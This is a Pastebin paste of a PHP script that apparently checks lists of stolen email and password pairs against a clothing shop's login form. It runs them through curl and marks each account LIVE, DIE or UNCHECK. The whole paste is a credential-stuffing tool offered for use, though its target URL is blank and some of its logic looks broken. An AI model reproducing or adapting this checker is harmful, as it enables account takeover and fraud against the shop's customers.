Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- ?>
- <?php
- date_default_timezone_set("Asia/Jakarta");
- $format = $_POST['mailpass'];
- $pisah = explode("|", $format);
- $sock = $_POST['sock'];
- $hasil = array();
- if (!isset($format)) {
- header('location: ./');
- exit;
- }
- require 'includes/class_curl.php';
- if (isset($format)){
- // cek wrong
- if ($pisah[1] == '' || $pisah[1] == null) {
- die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}');
- }
- $curl = new curl();
- $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt');
- $curl->ssl(0, 2);
- /* Login Form */
- $url = "https://";
- $page = $curl->get($url); // load the page
- if ($page) {
- /* PostData */
- $data = "_token=$token[' ']&_nothing_285c2cc1f6e3aeb9=&_snowman=%E2%98%83&username=$pisah[0]&password=$pisah[1]&login_action=login";
- $page = $curl->post($url, $data);
- if (inStr($page, "El correo electrónico y/o la contraseña están incorrectos.")) {
- die('{"error":2,"msg":"<font color=red>DIE</font> | '.$pisah[0].' | '.$pisah[1].'"}');
- } else if (!inStr($page, "Mi cuenta")) {
- die('{"error":0,"msg":"<font color=green>LIVE</font> | '.$pisah[0].' | '.$pisah[1].' | [ Acc : Beatriceclothing ]"}');
- } else {
- die('{"error":-1,"msg":"<font color=red>UNCHECK</font> | '.$pisah[0].' | '.$pisah[1].' "}');
- }
- } else {
- die('{"error":-1,"msg":"<font color=red>UNCHECK</font> | '.$pisah[0].' | '.$pisah[1].' | Unable To Connect "}');
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement